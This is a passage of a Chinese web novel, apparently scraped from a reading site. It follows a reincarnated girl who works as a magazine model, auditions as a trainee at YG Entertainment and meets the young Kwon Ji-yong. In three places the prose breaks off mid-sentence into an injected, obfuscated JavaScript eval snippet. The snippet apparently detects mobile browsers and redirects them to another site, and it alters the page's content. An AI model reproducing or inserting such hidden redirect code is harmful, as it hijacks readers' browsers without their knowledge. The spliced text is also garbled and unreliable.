夏沇之眨眨眼,听话的从旁边挪到中间,作为Z世代的年轻人,面对各种镜头已经是家常便饭了,更何况那一年的免费模特不是白当的。 以前学摄影的朋友给她说过,想要拍出好看的照片不仅仅要利用灯光,要会用表情和肢体语言表达,还要会利用身边的道具制造画面感。 当然,最关键的一点就是不要讨好镜头。 她刚站好,就听到耳边传来一声冷笑,都说同行是冤家,也不算错。别看只是小小杂志的模特,能做这一行其实都对镜头有着渴望,都想站在最显眼的地方。 夏沇之只觉得脚一痛,等她反应过来,之前化妆镜前的女孩不知不觉间将她挡住了。 她看了眼那女孩得意的嘴角,不动声色地往前迈了一步,借着整理头发的动作,手臂不经意地一抬,将那女孩挡在身后,无视背后的愤怒视线,重新回到画面中央。 哼!谁都别想阻拦她赚钱的脚步。 这孩子倒是挺机灵的,许贤旭咽下到嘴边的话,低头按下快门。 快门声响起。一声。又一声。 “好,就这样——别动——沇之的镜头感很棒!” 看似毫无摆拍痕迹实则控制着全身肢体的夏沇之此刻只想喊:都快累死了……什么镜头感,就算在漂亮,面对摄像机也是要找角度的好吗。 半晌,快门声终于停了。 许贤旭放下相机,难得露出一点笑意:“不错。”见窗外光线很好,又赶紧让夏沇之去换衣服去室外拍摄单人镜头。 化妆镜女孩翻了个白眼转身离开,之前那两个女孩闻言同时扭头看她,说好的第一次拍呢!夏沇之转头装作没看见。她又没说谎,今生她确实是第一次拍摄嘛。 上坡的夹道边,爬满墙壁的花海映入她眼帘,春天的气息扑面而来。 她换了一件米白色的及膝裙和蓝色长靴,腰身细细,姿态随性地靠在墙边,一只脚向后抵墙,抬头通过张开的指缝看向天空。 领口镶着同色的蕾丝花边微微敞开,露出少女纤细的锁骨和四肢,裙摆在午后的微风里轻轻飘动。 脸旁是垂下的花藤,上面开着蓝紫色花朵。阳光为女孩的轮廓镶上了一层毛茸茸的金边,光线在她的瞳孔里碎成点点光斑。 唯美又梦幻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444204|201077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “人家女孩都有男朋友了,那就放弃啊,有什么好烦恼的。” 李株爀真是败给自己的好兄弟了,正准备在继续吐槽,扭头却不见对方身影。 他转过身,“至龙?” 对方却没听到他的声音,兴致盎然地看着前方,仿佛那里有什么东西引起了他的兴趣,丝毫不见刚才的愁眉苦脸。啧,变脸真快啊~ 他顺着视线看过去,前方路边有三四个工作人员拿着打光板围着花墙,中间有纤细的身影一闪而过,应该是在拍摄,附近这里有很多这样的工作室。 “怎么?”他手臂搭在权至龙肩膀,“看到什么了?” 权至龙盯着那道纤细的身影看了两秒,又移开目光,摇摇头,“没事。” “今天就到这里。” 夕阳西下,劳累了一天的大家动作麻利的收着工具,一边神色轻松地闲聊起来。 而刚刚还是人群焦点的夏沇之转瞬被遗忘在一旁,在漂亮的人也无法阻挡他们下班的快乐。 夏沇之心里闪过一丝落差,却也顾不得其他,立即看向杂志主编,对方正低头目光专注地翻看着照片。 她紧张地咽了口唾沫,舔了舔唇,屏息等待。 杂志主编看了照片后抬头看向夏沇之,见她神色紧张,严肃的脸上露出一丝笑容,“效果还不错。费用你想月结或者按次也行。” 成了!紧绷的肩膀放松下来,道谢后又有些不好意思地问:“可以现金结算吗?” 主编点头:“可以。”又顿了顿:“没问题的话,下期你也来吧。” 夏沇之惊喜地睁大眼睛,那不是下个月的房租也有着落了。她笑眯眯地弯起眼角,脆声答应:“内。” 主编柔和了脸色,语气温和:“你也辛苦一天了,赶紧去休息吧。” 许贤旭翻看着相机里的照片,也露出满意的微笑,这孩子面对镜头毫无拘束感,很难想象这是她第一次拍杂志,画面质感都很出彩。 夏沇之没立即走,她又帮着将摄影道具一起收好才回到楼上工作室。里面其他女孩已经走了,她有些遗憾,本来还想着和那两位妹妹多聊几句呢。 换回自己的衣服,把衣服小心地挂回衣架。要说现在的衣服其实真的挺好看的,瞧这刺绣这版型,难怪很多人在网上怀念这个时代的风格,真的好精致又有细节。 领取了今天的酬劳,摸着信封里的厚度幸福的差点跳起来。忍耐住激动,她留下了敏喜欧尼的电话。 “如果有临时通知,也可以打这个电话。”她对前台笑了笑,“这是我……朋友的号码,我还没有手机。” 敏喜欧尼就是便利店里告诉她考试院消息的人,更巧的是就住在她隔壁,她据说是因为想要考首尔大学的新闻专业,所以才出来兼职攒钱。 两人这几天也渐渐熟悉,今天她就怕遇到这种情况,于是就拜托了对方。 前台点点头,把号码录了进去。 走出摄影工作室,夏沇之重重吐出一口气,这些天时刻绷紧的神经松动下来。 累吗?当然是累的,别看拍摄看起来好像很轻松,其实非常耗她的体力和脑力,因为深怕拍起来效果不好,她一直在观察和思考各种可以自己看起来更好拍的姿势,现在肾上腺素退去,腿脚都软绵绵的感觉。 但她攥着手里的信封。就觉得这一切都不值什么,付出有回报才是最幸福的。 3月末的首尔,空气里还有凉意,远处传来地铁进站的声音,楼下便利店有个大叔拎着烧酒走出来。 夏沇之饥肠辘辘地走进便利店,在和颜悦色的店员推荐下买了一份泡面搭芝士棒,鲜辣的味道在味蕾中蔓延,吃了半个月的米饭,终于换了口味,她坐在玻璃前的座位上吃得热泪盈眶。 最近她都快被泡菜腌入味了。 吃完Q弹的面又将浓郁的汤汁喝光,她惬意地打了个饱嗝,满足地摸了摸肚子。 真香啊~ 吃饱喝足的她,看着江南区宽敞明亮的街景,又想起住的地方,还是要赶紧多攒点钱换间更好点的房子。 居移气,养移体。古人说的还是很有道理的,她就感觉才在那里住没多久,自己整个人都在冒阴气,再换起码要能看得到阳光的。 她边畅想着未来的生活,边捂着装钱的口袋慢悠悠地去公交车站。但刚走几步,她感觉好像有人跟在身后。 好在天色还不算晚,此时又是在大街上,她壮着胆子扭头,随即露出惊讶之色。 7. 勇闯娱乐公司 “星探欧尼?” 夏沇之愣了一下,心里闪过一个念头,她怎么知道我在这儿? “小妹妹,好巧啊,”星探笑眯眯地举手挥了挥,随即上前来到她身边:“我还以为认错了呢。没想到真是你。” 才怪,首尔的圈子很小,她刚好认识那个摄影师工作室,于是今天就来这里蹲点啦。不然昨天哪里会这么痛快放弃。 跟着夏沇之上了公交车,在她身边坐下, “我们公司真的很有实力,也很注重培养人才,出道率很高的,你可以先来面试看看?” 说完眼见女孩警惕的望着她。公司要求她们星探组职员在进行选角时不能轻易表明身份,可好苗子少有,一旦错过就太可惜了。 她犹豫了一下,凑近女孩:“或许……SM公司知道吗?有东方神起组合的那个。” 夏沇之惊讶地睁大眼睛,虽然她不是很关注除了权至龙的其他韩娱公司消息,但是SM肯定是知道的。 下月的房租有了着落,她这会有心思将注意力转移过来,被星探的话勾起对练习生选拔的好奇心。她抬头问: “面试的话,需要准备什么?” “唱歌、跳舞,二选一就行。”她说,“如果有其他特长,比如乐器、演戏,也可以展示。” “那……如果选上了呢?” “选上就可以成为公司的练习生。公司会提供专业的培训课程,包括声乐、舞蹈、形体、演技等等。练习期间虽然没有工资,但食宿和培训费用都由公司承担。” 食宿全包。 这四个字对她的吸引力,现在可比“成为明星”还要大。 星探似乎看出了什么,语气更温和了些:“如果能在这个月内决定会比较好。近期公司在挑选合适的女练习生,你的年龄刚好适合。” 地铁上,她看着星探再次给她的名片,欣喜过后,冷静下来的她在心底问自己是否想做艺人。 脑海闪过无数画面,最后停留在那间火柴盒一样的房间和口袋中一天就赚到的房租薪资,最终答案是—她想。 人天生就是会向往更好的生活,好不容易得来的生命,她想要快活过一生,能想去哪就去哪,想做什么就能做什么,而不是每天发愁自己下个月的房租和生活费在哪。 14岁的年龄出来工作嫌太早,可如果成为练习生却还不算晚。现在二代大火的女团还没出道,她要是幸运能进入哪个红团当back那不是超级爽,又能躺又可以平分收益。 而且工作就是打扮美美的在舞台上被粉丝追捧,多棒的生活啊。就算实力再烂,反正总有粉丝喜欢长得好看的。 她也想体会那种不管做什么,都有一堆粉丝溺爱赞美的生活。 诶,不过二代团粉丝会溺爱自家爱豆吗?她脑袋里划过这个疑惑,然后又快速抛到脑后。 反正就算最后当爱豆只能活跃几年,那也比现在有钱途吧!记得前世看一些综艺片段,一些养老团有钱又有闲。 退一万步说,就算出不了道。包吃包住也很值得了,反正怎么样都比她如今的处境好。 可去SM?这家公司风评好像不怎么样啊。 最出名的就是东方神起这么火的团竟然结算时还倒欠公司钱,而且还出过员工殴打艺人还是练习生的新闻来着,她心中有些迟疑。 她能受得了那种严苛的生活吗?这样想着,但那张名片被小心地收进了口袋最里层。 4月2日 【交了房租,手里还剩17万韩元,暂时缓了过来,可惜我没有消息渠道,不然多去拍几个杂志就好了。 我体验了份有意思的兼职,混在大叔大婶之中去举牌游行。不得不说韩国的各种抗议游行是真的多,但也就看着很严肃,实际在我看来简直就是翻版的中国老人领鸡蛋活动嘛。 虽然钱很少,不过反正时间闲着也是闲着,就当健身了。这种想法一出来,我自己都惊住了,没想到短短一个多月,我的牛马觉悟这么深刻。 果然牛马都是被生活的重担驯化的。】 4月8日 【今天我想把书包拿出去洗,结果发现澡堂弟弟的纸条被老鼠咬碎了,我明明放在最里层的。 真不应该想着等过几天买手机,应该直接用电话亭和他联系的,这下好了,也不知道还能不能在遇到他,真可惜。 我觉得这老鼠眼神不好,这房间比我脸都干净。不过老鼠好大啊,据敏喜欧尼说,我那天的尖叫声几乎响彻整个考试院,调侃我唱高声肯定没问题。哼,才没这么夸张呢。】 4月15日 【果然好运不会一直伴随,前两天我在网上刷到有杂志需要模特,去了后发现工作室在一家KTV和一间成人用品店中间。 当时就下意识感觉有点不对劲,但被高额工作冲昏头的我却存在着侥幸心理。果然进去后看到墙上挂着让人不适的色情海报,旁边挂着的衣服也很擦边。 摄影师看见我两眼发光,我急忙转身赶紧跑了出来,吓死我了!看来我还是老老实实兼职吧。 扣除掉吃饭的费用,我的积蓄达到了35万韩元。本想买手机,最后却买了MP3。这段时间除了兼职外,我都在努力练习唱歌,接下来就是取经之第二关——练习生面试啦。】 4月25号 【虽然杂志还没发刊,但许摄影师又联系我啦,这次我没遇到上次的女孩们,果然这个行业的流动率很高。但却在工作室楼下遇到了一个奇怪的黑痣男,自称TC公司老板。 他可能见我年龄小,用拿糖果哄小孩的语气给我画大饼,说只要签约他公司就能将我捧成大明星,资源不缺,未来的生活会多么耀眼。 可惜我并不是真正14岁女孩,我去网吧查了下,他公司旗下就有两三个女艺人,而且都寂寂无名,怎么就有那么大信心能让我红起来呢? 积蓄达到50万,扣除下个月房租还剩30万,于是花了不少钱买了“战袍”。 过两天就要去决定我未来生活的面试了,希望我能成功上岸吧。】 这天闹钟还没响,夏沇之就醒了。 打开灯,床上柔软棉质的碎花三件套将简陋室内衬的温馨不少,她抓着乱成鸡窝头的头发打了个哈欠。 想起今天要做的事情,整个人兴奋起来,一兴奋她就想尿尿,打了个冷颤,急忙起身去了公共卫生间。 “哗啦啦。。。” 水流声不停,夏沇之洗头,洗脸,刷牙一套流程行云如水。拧上水龙头,她抬起脸,水珠从白皙光滑的脸颊滑落,伸手抹去镜子上的灰层,那张脸清晰起来。 不错,精神面貌很好。 又低头展开双手,和看起来娇嫩的脸不同,皮肤有些粗糙了,指甲泛着不健康的白。好在手指又细又直,不近看也看不出。 穿好衣服后对着镜子照了照,头发太毛躁了,像枯草一样支棱着。 她犹豫了两秒,推开门,敲响隔壁。 “谁啊!!要是没有重要的事情你就死定了!” 门后伸出一颗乱蓬蓬的脑袋,狭长的单眼皮半眯着,投出锐利的视线向夏沇之扫过来。“又是你……”她发出暴躁又无奈地呻吟,作势举起拳头:“讨打吗?知道我昨天工作多晚回来的吗?我才睡了不到三个小时!!” “嘿嘿嘿……”夏沇之立刻堆起笑脸,抱住她的拳头摇晃,“欧尼,超~级善良的敏喜欧尼,江湖救急!借我一下护发精油吧,我今天有很重要的事情。” “……你是真把我当便利店了吗?”敏喜翻了个白眼,但胳膊已经有些不自然地僵住,随后她“砰”地一声关上门,留下一句:“等着。” 夏沇之嘴角翘了起来,敏喜欧尼总是会这样嘴硬心软。 过了十几秒,门重新打开,敏喜打着哈欠递出一瓶精油,上下打量了她一眼:“咦,今天收拾得挺人模人样嘛……这么漂亮,要去约会?” “才不是。”夏沇之接过精油,开心道:“之前不是和欧尼你说过,我今天要去面试练习生。” 像她这种靠脸的,留下第一印象总是很重要的。 敏喜的哈欠打到一半停住了,眼神变得严肃起来。内心对这件事有些不赞同,爱豆是吃青春饭的,辛苦不说,地位低赚钱又少。 这孩子外貌出众,性子又机灵。如果以后能坚持上完大学,前途绝对一片光明。 她犹豫了下,还是多嘴问道: “你真的要去?正规吗?我跟你说,这种行业骗子特别多,你别被人骗去拍些乱七八糟的东西——” “欧尼,”夏沇之打断她,心里却暖了起来,“是正经的公司,我确认过,也会注意的。” 敏喜张了张嘴,但想起对方是这样的境况,也无法开口阻拦,既然无法提供帮助,那么她也没资格站着说话不腰疼。 如果可以,谁不想轻松地生活呢。 婉拒掉欧尼想请假陪她一起去的想法,夏沇之回到房间,对着镜子把精油抹在发尾。 毛躁的长发变得顺滑,柔顺蜷曲地散落在胸前,连带整个人都精致了许多。 “很好。” 她愉快的点点头,然后嘎吱一声,门被关上,留下一室狼藉。 走廊里弥漫着一股泡菜味和潮湿的霉味,她脚尖小心地越过地上不知哪个酒鬼吐出来的一摊污秽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444205|201077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疾步走出阴暗潮湿小巷。 金色的阳光毫不吝啬地洒在她身上,将肌肤上感染的阴冷驱散。站在巷口,她眯起眼睛深深地吸了一口外面的空气,心中的忐忑一点点消失。 …… “安韩秀,到你了。”工作人员提醒道。 靠在走廊边的夏沇之愣了一下,然后才反应过来是原主的名字,面试要用原主的身份资料,乍一听差点没反应过来,捂着砰砰乱跳的心脏,她闭上眼深吸几口气。 不紧张,不紧张,我一定可以的。 她踏入房间,忐忑中难掩好奇地打量着在她心里很有神秘感的练习生选拔室。 结果发现这里和她前世跳舞的舞蹈室也没多大区别。这里面积不算大,红褐色木质地板。右手边是整面镜子,只是多了张长桌。似曾相识的环境让她心底的紧张减轻了一些。 长桌后面坐着三个人,中间的那位带着棒球帽,姿态随意地后靠在椅子上,帽檐下是一张看不出表情的脸。 她依着工作人员的指示站到练习室中间,面向各位评审,旁边的圆脸短卷发女人戴着黑框眼镜,低头翻了翻手里的表格:““安韩秀”,91年生……” “为什么想当练习生?” 夏沇之沉默了几秒。这个问题她想了很多遍,但此刻被人盯着,准备好的台词突然变得很遥远。 她开口说出了自己都觉得惊讶的话:“因为我想站在舞台上。”她顿了顿,“以前都是别人替我决定的,现在我想自己试试看。” 这句话一说出口,她整个人都明快几分,紧绷的嘴角也放松了下来。管那么多呢,想做就大胆去做,她不想留下后悔。 短卷发女人笑了笑,觉得这小孩说话还挺成熟,但没再追问,示意她开始展示。 夏沇之选了唱歌。 这具身体从来没跳过舞,相比之下,唱歌好歹有点底气——小时候被妈妈逼着学了几年声乐,起码知道基础的换气之类的。 她选了The Cardigan《Lovefool》是一首96年的英文老歌。是小李子电影《罗密欧与朱丽叶》里的插曲。 这首歌节奏轻快,旋律简单但辨识度极高。技巧也不难很适合她,就算清唱也不容易跑调。 而且,现在练习生里英文好的不多,这应该也算是她的优势吧。 她清了清嗓子,开口清唱:“Love me, love me, say that you love me……” 面试间很安静,没有伴奏,没有混响,只有她的声音在这间铺着木地板的房间里回荡。她能听到自己唱出的每一个字,每一个音节,在空气中振动,然后消散。 桌子后,面试官们神色动了动,本来翘着二郎腿的人挑了挑眉。英语发音不错,音色空灵,他来了点兴趣,双手交叉放在桌面上,侧耳倾听,目光打量着中间的少女。 天资是很残忍的东西,有没有当艺人的潜质站在舞台上基本一目了然,这东西没有任何方式可以作伪。光外形而言,眼前的少女天生条件得天独厚。 巴掌大的心型脸,皮肤白皙,黑白分明的眼睛笑起来像月牙,气质清冷中带甜,笑起来灵动狡黠。少女灵气扑面而来,是看起来就很善良很纯真的感觉,应该会很有观众缘。 少女清澈的眼眸含笑看向桌后的评委们,嘴角弯起好看的弧度,唇红齿白,小小的梨涡若隐若现,向他们俏皮地伸出手,做邀请状: Just say that you need me就说你需要我 So I cry that I pray for you to所以我哭泣祈祷乞求 嗓音带着一点点少女的甜,没有什么复杂技巧,但她唱出来不像祈求爱情的卑微,倒像是笃定别人一定会爱她的狡黠。 那种天真烂漫地感觉被她表现的淋漓尽致。就像在对他们说话一样,很有感染力。有点意思,也很聪明,知道扬长避短。 肢体看起来也并不怯场,但……还缺了点什么。 就在夏沇之唱到“So I cry”那个音时,嗓子突然紧了一下——她心里咯噔一声,但好在脸上没露出来,她顺势用气息带过去,唱出i dont care的感觉。 唱完最后一个音,她背后炸出一层毛汗,还好还好,没有破音。 练习室里安静了两秒。短卷发女人正要开口,中间那个戴棒球帽的男人却先动了——他缓缓放下交叉的双手,帽檐下的眼睛直直看向夏沇之。 杨贤烁标志性的鼻音腔调响起:“为什么会来YG?应该有人说过你很适合SM吧?” 8. 生存之路:西海岸妹妹 整个房间因为他开口而安静了下来。 他眼神带着她在屏幕里从没见过的锐利,仿佛能看到人心里,瞬间就将夏沇之心底的固有印象打破。 她差点脱口而出“因为SM太吓人”,幸而话到嘴边及时咽了回去。 “因为我去过SM公司面试,也确实通过了。但那里的氛围不太适合我……”她顿了顿,耸了耸肩,“我更喜欢YG的音乐风格。” 没错,今天夏沇之来面试的是YG,至于SM……其实她前几天就去过了,有些一言难尽,说来话长。 简单来说她通过了面试,但意外又不算太意外的,在请求参观公司途中她去了一趟厕所——该说厕所果然是所有霸凌者的首选地点吗。 被浇得湿淋淋的长发,扇得啪啪响的耳光,沉默的受害者和嚣张的施暴者。画面冲击力太强,让她恍然记起自己在原主家的遭遇,那感觉太过糟糕。 她想过SM公司各种不好,但却没想到练习生之间的争端竟然也这么可怕。所以,面对对方的签约要求,她假意要回去问家长拖延时间,这边来YG放手一搏。 要是万一成了,抛开粉丝视角,客观来讲:这家公司除了艺人自己作死外,即使YG在19年出现“璀璨法庭路”这么严重的状况,也没爆出对艺人有什么不好。 至于社长爱pua?不好意思,她这人向来配得感高,主体性强,pua不了一点。 还有就是,她觉得YG其实也是看外貌的。 虽然社长杨贤硕出身于韩国传奇组合徐太志和孩子们,但是他们的辉煌早已经过去。目前公司对很多女孩的吸引力没那么强,这也是早期YG重视实力的原因之一吧,好看的人几乎都是首选SM之类的大公司。 所以杨贤烁才有这一问。 他靠在椅背上,手指有一搭没一搭地敲着桌面,目光落在面前的少女身上。 她看起来毫无棱角,但那只是表面看起来。剥开表面,也许内里会是完全相反的感觉。 “喜欢YG的音乐风格。”他重复了一遍这句话,语气听不出是赞同还是质疑,“那你觉得,YG的音乐风格是什么?” 夏沇之难得卡壳了一下。 她总不能说“我知道这里以后会出现BIGBANG、2NE1……”这种狂炫酷炸夜店风吧。 想了想,她挑了个安全答案:“……和其他打安全牌的音乐公司不太一样,更注重音乐性,个性前卫,每个艺人都有自己的独特味道。” 杨贤硕挑了挑眉,手指停下了敲击。看了她几秒,忽然笑了一下,转换话题问:“会舞蹈吗?” 啊?她舔了舔干燥的嘴唇,“会……一点?” 这几天她也练了一些基本功,但房屋太窄,又没全身镜,她也不知道自己目前跳的怎么样,SM面试时她也只表演了唱歌。 “你可以选一首喜欢的音乐。” 虽然有些紧张,但既然加试,说明他对她应该评价还不错吧,她连忙小跑到音响旁和工作人员选歌曲。 她选了一首1TYM的《Hot》。 原因很简单,这是她这几天在考试院用MP3反复听过的歌里,唯一一首听起来“好像能跳”的。而且1TYM是YG旗下的人气组合,选这个应该不会出错。 夏沇之对YG是很有些刻板印象在的,就是艺人看起来很像一群大佬,很拽很酷很张狂,有着气场强大的星味。 所以,气势不够装备来凑,人靠衣装马靠鞍嘛,先从外观上向公司调性靠拢。趁着工作人员还在找歌,她连忙整理外表,幸好穿衣服她向来喜欢每层衣服都能单独穿出门的体面搭配。 5月开头的天气冷热适中,她脱掉身上的浅蓝色牛仔外套,露出里面的美式背心,弯腰将宽松裤脚的抽绳束起塞进靴子。 最后将棒球帽往头上一扣——嗯,有那味了,这个可是能加buff的,会让人看起来超级有气势。 接着她微微低头,单手插兜,自己在脑内播放着吊炸天的BGM,抬起手指压了压帽檐,迈出六亲不认的步伐向中间走了两步。 耳边听到几声短促的笑声,余光看见是角落那里有人笑的肩膀都在抖。她心底轻哼一声,装作自己没听到。 侧头向工作人员表示可以开始了。 咚、咚、咚咚咚—— “咦?我们团的歌吗。”1TYM的队长teddy稀奇地坐直身体,他们的歌女生受众向来少,没想到这女孩会选这首。 低沉的鼓点像心跳一样砸下来,夏沇之瞬间有点后悔,这首歌的节奏比她想象的快一些。而她的身体比大脑慢了一拍,记忆知道应该怎么跳,但身体却达不到理想状态。 于是她索性跳过这个鼓点,在下一拍时先是晃了一下肩膀,然后手臂抬起来,试图跟着节奏做wave,身体缺乏力量,但幸而少年的身体柔韧性不错。 她立刻把肩膀再放松一点,想起以前在舞蹈室,老师说过一句话:hip-hop不是跳出来的,是感觉出来的。你越用力,越不像。 于是她不再去想那些记不清的动作。 脚步跟着鼓点踩,肩膀随着节奏起伏,手臂自然垂下来,指尖跟着音乐的间隙轻轻晃。 她微微抬头,视线从帽檐底下不经意间看到侧身的镜子。镜子里的女孩四肢修长,动作不算有力,但反而有种自由舞蹈的感觉…… 脚步交错灵活转身,但转得有点歪差点没站稳。她连忙右脚踏出一步稳住身体,顺势把手插进口袋里,挑起一边嘴角——看起来像是本来就要这么做似的。 “噗呲。”房间有人忍不住笑出了声。 夏沇之已经沉浸在自己的freestyle中不知天地为何物。她半俯身,身体重心压低,手抓档wave。誓要跳出酷盖女孩的感觉。 听说这里正在面试一个很漂亮小姑娘,刚巧闲着跑进来看热闹的1TYM成员宋柏京对身旁笑的抖肩的少年说。“别说,抛开舞蹈不谈,感觉真有hip-hop虚势那味了呢。” 歌快结束的时候,夏沇之做了一个收尾动作,抬手压低帽檐,然后慢慢抬起头,又对着面试官扯了一下嘴角。 三分不羁七分拽的那种,想的很酷炫,但就是她的表情有点拖后腿,看起来有点好笑。 音乐停止。 练习室里安静了一秒,“KKKK……挺有气势的嘛。”Teddy手指抬了抬墨镜,忍俊不禁,这孩子刚刚看她唱歌还以为是很淑女的性子呢。 圆脸女人也弯了嘴角,连旁边的工作人员都在憋笑,但很快练习室里重新安静下来。她站在原地,胸口还在起伏,手心全是汗。 “……”杨贤烁盯着她沉默。 夏沇之的心开始一点一点往下沉。 “就这种程度的话,”他开口了,摇摇头:“差太多。” 她闭了一下眼睛。心底叹气,果然还是不行的。 “但是——”他的声音慢悠悠地跟上来,“感觉还行。” 她刷地睁开眼睛,不太确定自己听到了什么。 杨贤硕靠在椅背上,棒球帽下面让她看不清表情。“以前学过?” “学……学过一点。很久以前。”前世因为舞蹈线条不错,大学时加入了舞蹈社登台表演过几次。有点经验,所以对表演才没那么紧张。 “谁教的?” “舞蹈室的老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444206|201077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”她老老实实回答,“但是我那时不太用功。” 对方的表情看不出有什么变化,只是微微点了下头,像是在确认什么一样。旁边那个圆脸的女人倒是抬头看了她一眼,又低头在本子上写着什么,让人怪紧张的。 “行。”杨贤硕说,“回去等通知吧。” 夏沇之愣了一下,就这样?她鞠了一躬转身往门口走。走到一半,她又停下来。 “那个……”她回过头。 杨贤硕抬头看她。 “我今天……”结束考试的她甩脱枷锁,反正成不成就这样了,于是最后忍不住皮了一下:“跳得是不是还挺西海岸的?” 众所周知,YG音乐文化深受西海岸hippop影响,她觉得自己表现的还挺二五八万的。 室内顿时爆发又一阵格外响亮的笑声,西海岸……这孩子也太逗了。被笑的人嘟了嘟嘴,有这么好笑嘛,她明明跳的很认真来着。 “出去吧。”他说。 但夏沇之发誓,她看到他的嘴角抽动了一下。 她笑眯眯地再鞠一躬,转身往门口走,手刚搭上门把手,身后又传来杨贤烁的声音: “对了——” 她回头。 “SM的氛围不太适合你,”他说,语气平淡得让人听不出情绪,“那你怎么知道YG的就适合?” 夏沇之站在原地,想了想,实诚地回答:“我不知道。” 杨贤硕看着她。 “但是……”她眨眨眼,“人生本就是未知的,不试试的话……连“不合适”也没资格说。” 门被关上。 宋柏京翘起二郎腿,乐呵呵说道:“哎一古,这小姑娘说的话真是帅气啊。” 杨贤烁哼笑了声:“性子倒是和她漂亮的外貌相差挺大的……” 记录着评估表的李宝型闻言笑眯眯:“您看,我就说值得看一看吧。” 今天公司其实是为将要开启的男团策划挑选男练习生,但有几人虽然不错,实力天赋却都没达到让他们认可的程度。 “哎,这种程度不行呀!就算勉强招进来了也无法达到出道的标准,更何况还是和至龙他们搭档!” 众人都没有说话,练习生里现在有实力非常优秀的至龙、永裴组合核心,还有个韩国很少的低音炮repper很强的崔圣炫。 外貌和实力平衡的小弦胜,唯独缺少一个嗓音独特的主唱,显然目前这些人中没有人达到社长的期望。 杨贤硕按按有些疲惫的双眼,至龙和永裴是他花费几年心思培养的人才,特别是至龙,一定要找到合适的队友才行,不然就浪费他的一番心血了。 负责练习生管理的李宝型见状连忙岔这个让人烦恼的话题,说遇到了一个很好的苗子,虽然现阶段不公开招收女练习生,但放走她实在可惜。 “呵……好苗子吗?”杨贤烁指尖敲击着桌面,目光沉思。 门在身后关上,夏沇之卸下心头重担。她没有金手指加持,只能在迷雾里摸索着往前走,已经做完所有她能做的事情,接下来就由不得她了。 抬头见天色还早,她打算约敏喜欧尼去逛街放松一下。 “等一下。” “前面的西海岸小姐。” ……听着身后传来的呼喊声,有点后悔刚才逗人了,她倒要看看是哪个人语气这么欠揍。 夏沇之回过头,逆光里站着一个人—— 少年瘦削的身形套着一件宽大的卫衣,头发碎碎地搭在额前。光线斜斜打过来,给他发丝镶了一圈毛茸茸的金边。 她收起兴师问罪的表情,丝滑切换成惊喜,“澡堂弟弟,你怎么在这?” 9. 生存之路:澡堂弟弟 “澡堂弟弟”闻言嘴角抽了抽,伸手按下额头冒出的青筋,咬牙笑着说:“你可以叫我欧巴,西海岸“妹妹”。”他在妹妹两个字上重重咬字。 “那不重要……”她又想起韩国的前后辈文化,补了句:“我是说,称呼的事先放一放,你怎么在这儿?” 熟人重逢总是让人格外开心的,特别是在她有点点失落的时候。 她神色雀跃:“我本来想和你打电话的,结果纸条被老鼠咬掉了,还以为可能见不到你了,没想到竟然在这里遇见。” “怪不得。”他若有所思地看了她一眼,“对了,那天之后……你有好好回家了吗?”话问得随意,语气却带着关心。 夏沇之也不好意思在说谎,她摇摇头:“没有,不过我现在已经找到地方住了,不用担心。” “……你不会是离家出走来首尔面试吧?” “差不多吧。”她模棱两可地回答。 他皱了皱眉,没再追问,只是从口袋里掏出手机按了几下,递到她面前:“号码多少?” 夏沇之愣了一下。 “不是说纸条被老鼠咬了吗?”他晃了晃手机,语气理所当然,“那再留一次。” “我还没买手机呢,先留个我朋友的电话吧。”她接过来留了电话,将手机还给他一边道:“你刚才也在现场?是YG练习生吗?原来我们离得这么近,那我之前路过这里怎么都没见过你呀?” “澡堂弟弟”哭笑不得地听着她连珠炮似的话,一时不知道该回答哪个,最后干脆伸出手: “正式认识一下。我叫权至龙,88年生,目前在YG当练习生。” “哦,我……嗯?!” 夏沇之震惊抬头。 两人相遇时光线昏暗,她满心烦恼,澡堂之后又为衣食住行发愁,哪有心思朝这方面想。现在阳光下,她用目光仔细描摹着这张脸。 他微微歪着头,盯着她的眉眼弯弯,少年气十足的眼睛里像盛着碎光,轮廓还有着未完全褪去的圆润。 给她的感觉很像那种穿着校服,在阳光下骑着自行车的高中少年,风拂过他的衣角,给路边的少女心中留下悸动,那种清纯男高的感觉。 怎么看也和她记忆中那个舞台上或狂傲不羁或痞气十足的模样没半毛钱关系。 但最终,她落在他嘴角的弧度……慢慢和脑海中那张前世在屏幕上、海报、MV、演唱会、新闻图里反复出现的脸慢慢重叠,直到完全重合。 阳光斜照下来,在她脚前切出一道明晃晃的分界线。她站在线这边,他站在线那边,好像隔了很远,又好像很近。 “hi!发什么呆?”他伸手在她面前打了个响指,手指修长,骨节分明。 她回过神,看着眼前还未经历过风雨的青春少年,捂着活像揣只兔子似的胸口,下意识往后退了小半步。 